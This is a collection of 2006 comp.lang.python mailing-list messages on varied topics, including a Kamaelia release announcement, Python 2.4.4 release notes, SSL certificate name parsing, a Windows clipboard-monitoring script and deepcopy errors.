This email is intended only for the individual or entity to which it is addressed.  This email may contain information that is privileged, confidential or otherwise protected from disclosure. Dissemination, distribution or copying of this e-mail or any attachments by anyone other than the intended recipient, or an employee or agent responsible for delivering the message to the intended recipient, is prohibited. If you are not the intended recipient of this message or the employee or agent responsible for delivery of this email to the intended recipient, please notify the sender by replying to this message and then delete it from your system.  Any use, dissemination, distribution, or reproduction of this message by unintended recipients is strictly prohibited and may be unlawful.


From paul at boddie.org.uk  Fri Oct  6 14:40:30 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 6 Oct 2006 11:40:30 -0700
Subject: How can I correct an error in an old post?
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>
	<mailman.1100.1159803391.10491.python-list@python.org>
	<slrnei7hlp.gim.grahn+nntp@frailea.sa.invalid>
	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
Message-ID: <1160160030.754852.295490@i42g2000cwa.googlegroups.com>

Tim Roberts wrote:
>
> Although it might be mirrored on a web site somewhere, this is a Usenet
> newsgroup.  It is impossible to "close" a thread.  The concept simply does
> not exist.

Apparently, the fashionable approach to "closing a thread" is to post a
critique of thread contributors to one's blog and then finish off with
the words, "Please stop."

http://bright-green.com/blog/2006_10_05/python_tracker_fud.html

Paul



From ms at cerenity.org  Sun Oct  1 07:29:37 2006
From: ms at cerenity.org (Michael)
Date: Sun, 01 Oct 2006 12:29:37 +0100
Subject: [ANNOUNCE] Kamaelia 0.5.0 Released - now enhanced by Summer of Code
	:-)
Message-ID: <451fa865$0$24476$ed2e19e4@ptn-nntp-reader04.plus.net>

Hi!


Kamaelia 0.5.0 marks a major stepping point for the Kamaelia project.

It means we officially have coverage over almost all the core areas we want
in version 1.0, with some substantial and useful subsystems in the form of
network delivery (tcp, udp, multicast servers), and interactive capabilties
(tk, pygame, opengl integration), and video (eg Freeview, DVB-T, Dirac)
along with a visual tool for bolting these systems together visually,
whilst making it more /natural/ to work with concurrency.

It also marks the first release where the number of external contributors
to the release outweighs developers from inside the BBC, meaning this
release really does belong to the Google Summer of Code students who also
worked on it. 

They've done some really cool interesting stuff, and that's really the
focus of this release, and written their own announcement, so in Ryan's
words from his blog, (http://tinyurl.com/o9te3):

"""
Kamaelia 0.5.0 Released!

Kamaelia is an intuitive way to structure applications -- essentially
as a network of components which talk to each other. This model gives
natural concurrency (each component can run separately) and makes
building software very visual.

It's an open-source BBC Research project, originally designed for rapid
development of server software. If you've used Unix pipes, Kamaelia is
like those implemented in Python. If you want to know more about the
theory read the one-page introduction [2] on the Kamaelia website.

   [2] http://kamaelia.sourceforge.net/Introduction.html

Here's a taster of what a Kamaelia application looks like:
(built with the GUI)
[ Screenshot:
 
http://photos1.blogger.com/blogger2/7070/3507/1600/composer-filedownloader.png
]

And here's some equivalent Python code:

Pipeline(
    ConsoleReader(eol=""),
    SimpleHTTPClient(),
    SimpleFileWriter("downloadedfile.txt"),
).run()


Those 5 lines of Python give you a console-based HTTP downloading program
(like wget or curl but with less options) using existing components. The
ConsoleReader sends lines of text (URLs) the user enters to the HTTP client,
which fetches the associated page. It then forwards on its contents to the
file writer. It's as simple as that.

You can also write your own components from scratch and use them with
the existing ones.

Version 0.5.0 is a major release - lots of functionality has been added
from Google Summer of Code 2006. Key highlights of this release:

   * BitTorrent support (using the official BitTorrent client) - includes
     preliminary 'streaming over BitTorrent' support, can be used as a P2P
     backend in your own Kamaelia applications.
       [ screenshot in blog entry ]

   * HTTP client and nascent seaside-style pure-python webserver

   * OpenGL (e.g. the checkers/draughts board on the right)
     http://photos1.blogger.com/blogger2/7070/3507/400/thfcheckers.0.png
     {{{ http://kamaelia.sourceforge.net/t/Dirac3D.png }}}

   * Strong DVB (freeview TV) support on Linux - including the foundations
     of a PVR. {{{cf http://kamaelia.sourceforge.net/KamaeliaMacro.html}}}

   * Collaborative whiteboarding with audio (speex encoded) - draw and
     talk together over the internet. {{{To be featured in next month's
     Linux Format}}}

   * Enhanced visual composition of Kamaelia systems - create and link
     components on screen, see the code produced (the screenshot near the
     top of the article)

For more information see the Kamaelia[3] website. You can get a copy of
Kamaelia
and Axon from Sourceforge, together with most of the dependencies[4] in the
mega
bundle. If you have any problems or questions, just pop along to #kamaelia
on irc.freenode.net.

[3] http://kamaelia.sourceforge.net/Home
[4]
http://sourceforge.net/project/showfiles.php?group_id=122494&package_id=183774&release_id=451251Hi!


Kamaelia 0.5.0 marks a major stepping point for the Kamaelia project.

It means we officially have coverage over almost all the core areas we want
in version 1.0, with some substantial and useful subsystems in the form of
network delivery (tcp, udp, multicast servers), and interactive capabilties
(tk, pygame, opengl integration), and video (eg Freeview, DVB-T, Dirac)
along with a visual tool for bolting these systems together visually,
whilst making it more /natural/ to work with concurrency.

This release is massively enhanced by the work produced by Google Summmer
of Code students who worked with us over the summer.

They've done some really cool interesting stuff, and that's really the
focus of this release, and written their own announcement, so in Ryan's
words from his blog, (http://tinyurl.com/o9te3):

"""
Kamaelia 0.5.0 Released!

Kamaelia is an intuitive way to structure applications -- essentially
as a network of components which talk to each other. This model gives
natural concurrency (each component can run separately) and makes
building software very visual.

It's an open-source BBC Research project, originally designed for rapid
development of server software. If you've used Unix pipes, Kamaelia is
like those implemented in Python. If you want to know more about the
theory read the one-page introduction [2] on the Kamaelia website.

   [2] http://kamaelia.sourceforge.net/Introduction.html

Here's a taster of what a Kamaelia application looks like:
(built with the GUI)
[ Screenshot:
 
http://photos1.blogger.com/blogger2/7070/3507/1600/composer-filedownloader.png
]

And here's some equivalent Python code:

Pipeline(
    ConsoleReader(eol=""),
    SimpleHTTPClient(),
    SimpleFileWriter("downloadedfile.txt"),
).run()


Those 5 lines of Python give you a console-based HTTP downloading program
(like wget or curl but with less options) using existing components. The
ConsoleReader sends lines of text (URLs) the user enters to the HTTP client,
which fetches the associated page. It then forwards on its contents to the
file writer. It's as simple as that.

You can also write your own components from scratch and use them with
the existing ones.

Version 0.5.0 is a major release - lots of functionality has been added
from Google Summer of Code 2006. Key highlights of this release:

   * BitTorrent support (using the official BitTorrent client) - includes
     preliminary 'streaming over BitTorrent' support, can be used as a P2P
     backend in your own Kamaelia applications.
       [ screenshot in blog entry ]

   * HTTP client and nascent seaside-style pure-python webserver

   * OpenGL (e.g. the checkers/draughts board on the right)
     http://photos1.blogger.com/blogger2/7070/3507/400/thfcheckers.0.png
     {{{ http://kamaelia.sourceforge.net/t/Dirac3D.png }}}

   * Strong DVB (freeview TV) support on Linux - including the foundations
     of a PVR. {{{cf http://kamaelia.sourceforge.net/KamaeliaMacro.html}}}

   * Collaborative whiteboarding with audio (speex encoded) - draw and
     talk together over the internet. {{{To be featured in next month's
     Linux Format}}}

   * Enhanced visual composition of Kamaelia systems - create and link
     components on screen, see the code produced (the screenshot near the
     top of the article)

For more information see the Kamaelia[3] website. You can get a copy of
Kamaelia
and Axon from Sourceforge, together with most of the dependencies[4] in the
mega
bundle. If you have any problems or questions, just pop along to #kamaelia
on irc.freenode.net.

[3] http://kamaelia.sourceforge.net/Home
[4]
http://sourceforge.net/project/showfiles.php?group_id=122494&package_id=183774&release_id=451251

"""  -- {{{couple of added comments above added in like this}}}

Other:
   * Axon has also been updated to 1.5.1 with enhancements to threaded
     components.

   * The current new MegaBundle version including all the dependencies
     is now 1.4.0! Download here: http://tinyurl.com/lfhxq

   * Kamaelia is licensed under the MPL/GPL/LGPL tri-license

NOTE: The Megabundle is the recommended way of getting hold of Kamaelia,
since given Kamaelia can act as glue between systems, it's useful to know
which versions we're testing with should you encounter problems so and the
detailed set of changes can be found here: http://tinyurl.com/nf5gk

Kamaelia is heavily based on python generators (they're not scary,
really [5]), but also support threaded components and is designed to
work with any version of python since python 2.2a1, and is not limited
to Python 2.5.
     [5] http://kamaelia.sourceforge.net/MiniAxon/

Have fun!


Michael
--
Michael Sparks, Kamaelia Project Lead
http://kamaelia.sourceforge.net/Home
blog: http://yeoldeclue.com/blog



From marco.lierfeld at rwth-aachen.de  Fri Oct 13 03:27:49 2006
From: marco.lierfeld at rwth-aachen.de (Marco Lierfeld)
Date: Fri, 13 Oct 2006 09:27:49 +0200
Subject: Pickling an instance of a class containing a dict doesn't work
References: <4p6vk6Fh2jevU1@news.dfncis.de>
	<1160662300.159122.20520@m7g2000cwm.googlegroups.com>
	<1160662416.716488.19740@k70g2000cwa.googlegroups.com>
	<4p72coFhibirU1@news.dfncis.de> <eglsfo$i38$01$1@news.t-online.com>
Message-ID: <4p8tflFhpmkqU1@news.dfncis.de>

Peter Otten wrote:

> Chances are you have inadvertently created an /instance/ attribute
> build_steps which was then saved:
> 
> s = subproject()
> # ...
> s.configuration["name"] = "my dinner" # modifies the class attribute
> s.build_steps = ["hunt", "kill", "cook"] # creates an instance attribute

Yes, now I see. That's the way I filled the dict and the list.

Thank you for the explanation :)

Marco


From rpdooling at gmail.com  Mon Oct 23 08:11:02 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 23 Oct 2006 05:11:02 -0700
Subject: sending vim text through Python filter
In-Reply-To: <1161599745.935325.210460@m73g2000cwd.googlegroups.com>
References: <1161550040.309135.250940@h48g2000cwc.googlegroups.com>
	<1161599745.935325.210460@m73g2000cwd.googlegroups.com>
Message-ID: <1161605461.903268.293110@e3g2000cwe.googlegroups.com>


> You'll have to use :%!python sort.py to get the filter to work.

Damn. I should've thought of that. Then again, why would I when sort.py
works fine from the windows commandline.

Thanks a lot! That does the trick. 

rd



From miles.chris at gmail.com  Sun Oct 15 11:08:29 2006
From: miles.chris at gmail.com (Chris Miles)
Date: Sun, 15 Oct 2006 16:08:29 +0100
Subject: Cannot force configure/setup.py to pick up location of readline
	(SFWrline) on Solaris 10
In-Reply-To: <45324818$0$22621$9b622d9e@news.freenet.de>
References: <ego1sl$18p$1@sea.gmane.org>	<mailman.541.1160921614.11739.python-list@python.org>
	<45324818$0$22621$9b622d9e@news.freenet.de>
Message-ID: <45324EED.7030802@gmail.com>

Martin v. L?wis wrote:
> You need to use GNU make for that to work. The build regenerates the
> makefile, but Sun make doesn't recognize the change. There was a message
> telling you so.

Thanks Martin, you are totally correct.  Using gmake avoids the problem.

> Also, your original complaint wasn't that readline isn't considered,
> but that setup.py didn't find it even though configure did. A patch
> fixing that has a higher chance of being accepted than a patch adding
> /opt/sfw to the standard search path (which is really a decision
> Sun should take, not the Python maintainers - in absence of a Sun
> change, it's then the local administrator who decides).

Fair point.  If time permits I'll look into constructing such a patch.

Cheers,
Chris

-- 
http://chrismiles.info/



From ptmcg at austin.rr._bogus_.com  Sat Oct 28 06:45:18 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Sat, 28 Oct 2006 10:45:18 GMT
Subject: Arrays? (Or lists if you prefer)
References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>
	<QCV_g.1097$GR2.1089@tornado.texas.rr.com>
	<1161585837.292211.233680@i42g2000cwa.googlegroups.com>
Message-ID: <2xG0h.30726$ta3.27599@tornado.texas.rr.com>

<Hakusa at gmail.com> wrote in message 
news:1161585837.292211.233680 at i42g2000cwa.googlegroups.com...
> Paul McGuire wrote:
>> As an example of using pyparsing, I chose a simple text adventure
>> application, and had to create a 2-D grid of rooms.  The presentation
>> materials are online at http://www.python.org/pycon/2006/papers/4/, and 
>> the
>> source code is included with the examples that ship with pyparsing
>
> I read your entire thing, but how much stuck is a testimate to how much
> I have yet to learn. Also, I didn't see the source code or downoad or
> anything there. Where is it again?
>
> Thanks for the responces.
>

Download pyparsing at http://sourceforge.net/projects/pyparsing .  Be sure 
to download either the source installation or the doc installation - the 
windows binary install omits the doc and example files.

The pyparsing home page is at http://pyparsing.wikispaces.com.

-- Paul




From pydecker at gmail.com  Tue Oct 24 07:58:02 2006
From: pydecker at gmail.com (Peter Decker)
Date: Tue, 24 Oct 2006 07:58:02 -0400
Subject: python GUIs comparison (want)
In-Reply-To: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
Message-ID: <ca55a9900610240458u31b00e15r36682308e9a7efa4@mail.gmail.com>

On 23 Oct 2006 22:07:39 -0700, jiang.haiyun at gmail.com
<jiang.haiyun at gmail.com> wrote:
> Now i began to learn GUI programming. There are so many
> choices of GUI in the python world, wxPython, pyGTK, PyQT,
> Tkinter, .etc, it's difficult for a novice to decide, however.
> Can you draw a comparison among them on easy coding, pythonish design,
> beautiful and generous looking, powerful development toolkit, and
> sufficient documentation, .etc.
> It's helpful for a GUI beginner.
> Thank you.

I've used several, and I think that Dabo (http://dabodev.com) is the
best choice. Dabo is an entire application framework, but you can just
use the dabo.ui parts if that's all you need. Then when you are no
longer a beginner and you want to develop more complex apps, you won't
need to change tools.

-- 

# p.d.


From jsanga at cox.net  Thu Oct 12 20:48:37 2006
From: jsanga at cox.net (mzdude)
Date: 12 Oct 2006 17:48:37 -0700
Subject: Appropriate way to quit Tkinter
References: <1160675883.753402.70430@i3g2000cwc.googlegroups.com>
	<mailman.400.1160685492.11739.python-list@python.org>
Message-ID: <1160700517.014505.304880@b28g2000cwb.googlegroups.com>


Fredrik Lundh wrote:
[snip]
> works for me.  are you perhaps running this under some kind of IDE that
> keeps the process running even after the program has terminated?
>
It works the same way if I run from IDLE or from the DOS command prompt.



From fredrik at pythonware.com  Mon Oct 16 13:28:15 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 16 Oct 2006 19:28:15 +0200
Subject: Strange Behavior
In-Reply-To: <1161018642.676.34.camel@dot.uniqsys.com>
References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com>	<pan.2006.10.16.14.51.14.919825@REMOVE.THIS.cybersource.com.au>
	<1161018642.676.34.camel@dot.uniqsys.com>
Message-ID: <eh0fff$r2r$1@sea.gmane.org>

Carsten Haese wrote:

> I think this statement needs to be clarified. The binding of "data" to
> the empty list *does* happen at runtime, not at compile time. However,
> the binding happens only once, when the "def" statement is executed, as
> opposed to every time the __init__ function is called.

to be precise, it happens every time the "def" statement is executed.

</F>



From mithrond at gmail.com  Sun Oct 22 04:27:48 2006
From: mithrond at gmail.com (mithrond at gmail.com)
Date: 22 Oct 2006 01:27:48 -0700
Subject: a question about MS Windows Clipboard   to decrease cpu usage.
Message-ID: <1161505667.892022.72820@f16g2000cwb.googlegroups.com>

hello, I want to record the content of windows'clipboad,
after search c.l.p. I got some practical answer such as
http://groups.google.com/group/comp.lang.python/browse_thread/thread/57318b87e33e79b0/a7c5d5fcbd4eb58a
I have create my small script, it can get clipboard preliminary. but
now i had a trouble,
I use win32gui.PumpWaitingMessages() in while True: so the script use
9x% cpu. what should i do?
the code was post below.

##################################################
import win32ui, win32clipboard, win32con, win32api, win32gui
def paste():
    win32clipboard.OpenClipboard(0)
    data = win32clipboard.GetClipboardData()
    win32clipboard.CloseClipboard()
    return data
class ClipRecord(object):
    def __init__(self):
        self.hPrev = 0
        self.first   = True
        self.win = win32ui.CreateFrame()
        self.win.CreateWindow(None,'',win32con.WS_OVERLAPPEDWINDOW)

self.win.HookMessage(self.OnDrawClipboard,win32con.WM_DRAWCLIPBOARD)

self.win.HookMessage(self.OnChangeCBChain,win32con.WM_CHANGECBCHAIN)
        self.win.HookMessage(self.OnDestroy,win32con.WM_DESTROY)
        try:

self.hPrev=win32clipboard.SetClipboardViewer(self.win.GetSafeHwnd())
        except win32api.error, err:
            if win32api.GetLastError () == 0:
                # information that there is no other window in chain
                pass
            else:
                raise
        while True:
            win32gui.PumpWaitingMessages()
    def OnChangeCBChain(self, *args):
        msg, wParam, lParam = args[-1][1:4]
        if self.hPrev == wParam:
           # repair the chain
           self.hPrev = lParam
        if self.hPrev:
           # pass the message to the next window in chain
           win32api.SendMessage (self.hPrev, msg, wParam, lParam)
    def OnDrawClipboard(self, *args):
        msg, wParam, lParam = args[-1][1:4]
        if self.first:
           self.first = False
        else:
           print "clipboard content changed"
           print paste()
        if self.hPrev:
           # pass the message to the next window in chain
           win32api.SendMessage (self.hPrev, msg, wParam, lParam)
    def OnDestroy(self):
        if self.hPrev:
            win32clipboard.ChangeClipboardChain(self.win.GetSafeHwnd(),
self.hPrev)
        else:
            win32clipboard.ChangeClipboardChain(self.win.GetSafeHwnd(),
0)
if __name__ == "__main__":
    cr = ClipRecord()



From michael at stroeder.com  Thu Oct 26 13:01:07 2006
From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=)
Date: Thu, 26 Oct 2006 19:01:07 +0200
Subject: Obtaining SSL certificate info from SSL object - BUG?
In-Reply-To: <453D95EA.1020602@animats.com>
References: <453D95EA.1020602@animats.com>
Message-ID: <j76714-9nf.ln1@nb2.stroeder.com>

John Nagle wrote:
>     The Python SSL object offers two methods from obtaining
> the info from an SSL certificate, "server()" and "issuer()".
> The actual values in the certificate are a series of name/value
> pairs in ASN.1 binary format.  But what "server()" and "issuer()"
> return are strings, with the pairs separated by "/".  The
> documentation at "http://docs.python.org/lib/ssl-objects.html"
> says "Returns a string containing the ASN.1 distinguished name
> identifying the server's certificate. (See below for an example showing
> what distinguished names look like.)"  There is, however, no "below".
> 
> What you actually get back looks like this, which is Google's certificate:
> 
> "/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com"
> 
> So, no problem; just split on "/", right?
> 
> Unfortunately, "/" is a legal character in certificate values.

You hit a really serious problem: There's no completely well-defined
string representation format for distinguished names used in X.509
certificates. The format above is what OpenSSL used in the beginning.
Yuck! IMO this is also a security problem in some cases.

The best thing would be to stick to RFC 4514 (formerly RFC 2253:
Lightweight Directory Access Protocol (LDAP): String Representation of
Distinguished Names). It defines a UTF-8-based string representation.

Play around with OpenSSL's command-line option 'nameopt':

> openssl x509 -inform der -in VSIGN1.CER -subject -issuer -noout
subject= /C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification
Authority
issuer= /C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification
Authority

> openssl x509 -inform der -in VSIGN1.CER -subject -issuer -noout
-nameopt rfc2253
subject= OU=Class 1 Public Primary Certification Authority,O=VeriSign\,
Inc.,C=US
issuer= OU=Class 1 Public Primary Certification Authority,O=VeriSign\,
Inc.,C=US

Guess the second is what Python SSL object also should return. No idea
whether this is available at OpenSSL's API level.

Ciao, Michael.


From maric at aristote.info  Fri Oct  6 05:58:21 2006
From: maric at aristote.info (Maric Michaud)
Date: Fri, 6 Oct 2006 11:58:21 +0200
Subject: Subclassing built-in classes
In-Reply-To: <eg3iid$ada$1@sea.gmane.org>
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>
	<200610051700.00482.maric@aristote.info>
	<eg3iid$ada$1@sea.gmane.org>
Message-ID: <200610061158.21402.maric@aristote.info>

Le jeudi 05 octobre 2006 20:24, Steve Holden a ?crit?:
> ? >>> class mystr(oldstr):
> ? ... ? def __new__(*a, **kw):
> ? ... ? ? print "called:", a, kw
> ? ...

you don't return the string here...

> ? >>> import __builtin__
> ? >>> __builtin__.str = mystr
> ? >>>
> Readline internal error
> Traceback (most recent call last):
> ? ?File "C:\Python24\lib\site-packages\readline\Console.py", line 644,
> in hook_wrapper_23
> ? ? ?raise TypeError, 'readline must return a string.'

...It should explain this error.

>
> So, what are you trying to say? The type of the literal strings is
> clearly just what it always was. Where, when and how exactly does this
> magical monkey patch affect literals?

ooops, maybe we aren't on the same plan.

As the first post said "...couldn't python (in theory)...", I was discussing 
if it would be possible for python (in some future version) to manage the 
literals so that they use the constructors in the __builtin__ module, I 
didn't say it works actually (I'm aware it's not the case).


-- 
_____________

Maric Michaud
_____________

Aristote - www.aristote.info
3 place des tapis
69004 Lyon
Tel: +33 426 880 097


From anthony at python.org  Thu Oct 19 03:42:00 2006
From: anthony at python.org (Anthony Baxter)
Date: Thu, 19 Oct 2006 17:42:00 +1000
Subject: RELEASED Python 2.4.4, Final.
Message-ID: <200610191742.14093.anthony@python.org>

On behalf of the Python development team and the Python community,
I'm happy to announce the release of Python 2.4.4 (FINAL).

Python 2.4.4 is a bug-fix release. While Python 2.5 is the latest
version of Python, we're making this release for people who are
still running Python 2.4. This is the final planned release from
the Python 2.4 series. Future maintenance releases will be in the
2.5 series, beginning with 2.5.1.

See the release notes at the website (also available as Misc/NEWS
in the source distribution) for details of the more than 80 bugs
squished in this release, including a number found by the Coverity
and Klocwork static analysis tools. We'd like to offer our thanks
to both these firms for making this available for open source
projects.

 *  Python 2.4.4 contains a fix for PSF-2006-001, a buffer overrun   *
 *  in repr() of unicode strings in wide unicode (UCS-4) builds.     *
 *  See http://www.python.org/news/security/PSF-2006-001/ for more.  *

There's only been one small change since the release candidate -
a fix to "configure" to repair cross-compiling of Python under
Unix.

For more information on Python 2.4.4, including download links
for various platforms, release notes, and known issues, please
see:

    http://www.python.org/2.4.4

Highlights of this new release include:

  - Bug fixes. According to the release notes, at least 80 have
    been fixed. This includes a fix for PSF-2006-001, a bug in
    repr() for unicode strings on UCS-4 (wide unicode) builds.


Enjoy this release,
Anthony

Anthony Baxter
anthony at python.org
Python Release Manager
(on behalf of the entire python-dev team)
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From bjobrien62 at gmail.com  Tue Oct 31 12:16:56 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 31 Oct 2006 09:16:56 -0800
Subject: scared about refrences...
In-Reply-To: <ei6o2u$9sq$1@web.aioe.org>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.19.32.25.538858@gmx.net>
	<1162242647.481298.251320@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>
	<1162248250.994200.13450@m7g2000cwm.googlegroups.com>
	<ei60go$ngb$1@web.aioe.org>
	<1162254191.507805.276640@k70g2000cwa.googlegroups.com>
	<ei6o2u$9sq$1@web.aioe.org>
Message-ID: <1162315016.354163.18950@i42g2000cwa.googlegroups.com>


J. Clifford Dyer wrote:
> SpreadTooThin wrote:
> > J. Clifford Dyer wrote:
> >> SpreadTooThin wrote:
> >>> Steven D'Aprano wrote:
> >>>> On Mon, 30 Oct 2006 13:10:47 -0800, SpreadTooThin wrote:
> >>>>
> >>>>
> >>> I seems that some of the objects in the list don't get along well with
> >>> deep copy..
> >>> See my second example post that used deepcopy... When run blows up...
> >>>
> >> When it blows up, is there a lot of shrapnel, or just smoke and fire?
> >> Is the shrapnel mostly metal, or is it plastic and glass?
> >>
> >> In short, if we don't know what's happening, we can't help.
> >> * Did the program spit out a bunch of text you didn't understand?
> >>    If so, show us the text.  That text may be incomprehensible at first,
> >>    but it contains crucial clues.
> >>
> >> * Did it close your python window without a word?
> >>    Tell us.
> >>
> >> * Did your computer freeze up?
> >>    Tell us.
> >>
> >> If you don't tell us what went wrong *exactly*, you won't get a
> >> satisfactory answer.
> >>
> >
> > I would assume that looking at the code you should be able to tell..
> > Silly me..  Here.. is the log.. If I were helping.. I would have cut
> > and pasted the code myself and ran it.. instead of trying to interpret
> > this...
>
> I know it seems unnecessary to post the traceback when I could get the
> same thing by running your code on my machine, but it's actually useful,
> for a couple reasons:  First, when I run the code, I might not get an
> error, or if I do, it might not be the same error you were getting, and
> then we'd be on a wild goose chase.  This could be because your python
> installation is goofy, or because you copied in your code incorrectly.
> Shit happens, and I'd rather not even start down one of those blind
> alleys.  Third, it provides a useful frame for how to look at your
> code.  While a traceback might look like a big mess at first, it's
> actually pretty easy to skim through once you get used to it, and it
> tells me where to focus my attention in your code.
>
> >
> > array('H', [1, 2, 3]) ['a', 'b', 'c']
> > Traceback (most recent call last):
> >   File
> > "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py",
> > line 1806, in runMain
> >     self.dbg.runfile(debug_args[0], debug_args)
> >   File
> > "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py",
> > line 1529, in runfile
> >     h_execfile(file, args, module=main, tracer=self)
> >   File
> > "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py",
> > line 590, in __init__
> >     execfile(file, globals, locals)
> >   File "/Volumes/Data/Users/bjobrien/Desktop/pythonDICOM/Text-1.py",
> > line 20, in __main__
> >     test(t)
> >   File "/Volumes/Data/Users/bjobrien/Desktop/pythonDICOM/Text-1.py",
> > line 16, in test
> >     t = copy.deepcopy(x)
> >   File
> > "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
> > line 174, in deepcopy
> >     y = copier(x, memo)
> >   File
> > "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
> > line 305, in _deepcopy_inst
> >     state = deepcopy(state, memo)
> >   File
> > "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
> > line 174, in deepcopy
> >     y = copier(x, memo)
> >   File
> > "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
> > line 268, in _deepcopy_dict
> >     y[deepcopy(key, memo)] = deepcopy(value, memo)
> >   File
> > "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
> > line 185, in deepcopy
> >     y = copier(x, memo)
> > TypeError: __deepcopy__() takes no arguments (1 given)
> >
> >
> >
> >> Cheers,
> >> Cliff
> >
>
> Thanks, that's very helpful.  Playing with your code a bit, I narrowed
> the problem down to the array.array() structure.  Looking at
> help(array), there's a method defined called __deepcopy__, which, it
> seems, takes no arguments, while deepcopy is passing it one argument.
> Looks like a bug in the array module to me.  Maybe others with more
> experience using array will have some deeper insight.
>
>

I don't understand why python would insist that everything must be a
refrence...
It is of course helpful sometime but other times its not...  and now
I'm sorta out
of luck...
I don't know how to make this structure immutable...  Pickle it?  Seems
very
inefficient to me...
Every time I pass a variable now I will worry that it will be changed
by the function...
I haven't worried about things like this since the very early days of
BASIC....
I don't know.. maybe I have more to learn.


> Cheers,
> Cliff



From deets at nospam.web.de  Tue Oct 10 07:16:27 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 10 Oct 2006 13:16:27 +0200
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<7xlknotwuy.fsf@ruckus.brouhaha.com>
	<4p14h4Fgk9jaU1@uni-berlin.de>
	<mailman.196.1160474180.11739.python-list@python.org>
Message-ID: <4p1dobFgqul0U1@uni-berlin.de>

>> Nope. Things like CORBA and COM do have that property, but e.g. the Java
>> beans spec has only a meaning inside the VM. Not sure about .NET, but I
>> can imagine there it's the same thing.
>> 
> Well the .NET component model is specifically designed to be
> cross-language, but that's a feature of .NET/mono rather than of the
> componenet framework. You are correct about Beans, though.

Is this cross-language in the sense jython can use beans? Or in the sense
like CORBA? I assumed the former, which isn't cross-language in my
perception (at least not in the general sense, as CORBA is)
 
>> All the languages he mentioned are statically typed, or the component
>> models themselves are. So the component model is basically needed (as
>> others also mentioned) to glue things together, to dynamize that -
>> whereas python is dynamic on the first hand, and actually lacks static
>> typing to infer component properties...
>> 
> Just the same, one can use IronPython to call components written in
> other languages. And, I believe, vice versa.

Sure, as I can do it in jython. But the key point is: can your ordinary
python-object be published as a component? At least for jython I can
say "no", you will have to subclass an already existing
java-object/interface. And I have difficulties imagining that it is any
different in .NET - because I've read statements that claimed that the
structure of the VM/runtime is orientied towards single-inheritance
statically typed languages as C#/java.

Diez


From jchumnanvech at gmail.com  Thu Oct 19 18:27:49 2006
From: jchumnanvech at gmail.com (jchumnanvech at gmail.com)
Date: 19 Oct 2006 15:27:49 -0700
Subject: ignore cstylecomment issues
Message-ID: <1161296869.482440.209990@m7g2000cwm.googlegroups.com>

from pyparsing import Word, printables,ZeroOrMore,cStyleComment
expr = ZeroOrMore(Word(printables))
expr.ignore(cStyleComment)
for line in expr.parseString('#include <iostream>\n\nint
main()\n{/*interesintg\ncomment*/\nstd::cout << "hello world";\n}'):
    print line

outputs

#include
<iostream>
int
main()
{/*interesintg
comment*/
std::cout
<<
"hello
world";
}

if i put a space between { and /* then it works properly

any help plz



From codecraig at gmail.com  Tue Oct 17 09:51:57 2006
From: codecraig at gmail.com (abcd)
Date: 17 Oct 2006 06:51:57 -0700
Subject: Tertiary Operation
In-Reply-To: <mailman.636.1161092631.11739.python-list@python.org>
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
	<mailman.636.1161092631.11739.python-list@python.org>
Message-ID: <1161093117.541719.320210@i3g2000cwc.googlegroups.com>

Carsten Haese wrote:
> Use Python 2.5 where there is a true conditional
> expression or find another way to solve your problem.

python 2.5 once we upgrade (hopefully soon), anyways...an earlier post
suggested the inverse...

x = None
result = (x is not None and str(x) or "")

which works just fine.

thanks.



From bignose+hates-spam at benfinney.id.au  Sun Oct 15 06:03:18 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sun, 15 Oct 2006 20:03:18 +1000
Subject: problem with the 'math' module in 2.5?
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
	<mailman.526.1160885916.11739.python-list@python.org>
	<1160886206.594661.321230@e3g2000cwe.googlegroups.com>
	<mailman.529.1160891759.11739.python-list@python.org>
	<1160903686.538807.201310@i42g2000cwa.googlegroups.com>
Message-ID: <877iz13nh5.fsf@benfinney.id.au>

"Paddy" <paddy3118 at netscape.net> writes:

> Ben Finney wrote:
> > Your calculator is probably doing rounding without you asking for
> > it.
> >
> > Python refuses to guess what you want, and gives you the
> > information available.
>
> I don't think Python should take too much credit here.

I don't understand what you could mean by this. Credit for "giv[ing]
you the information available"? That's exactly what it's doing.

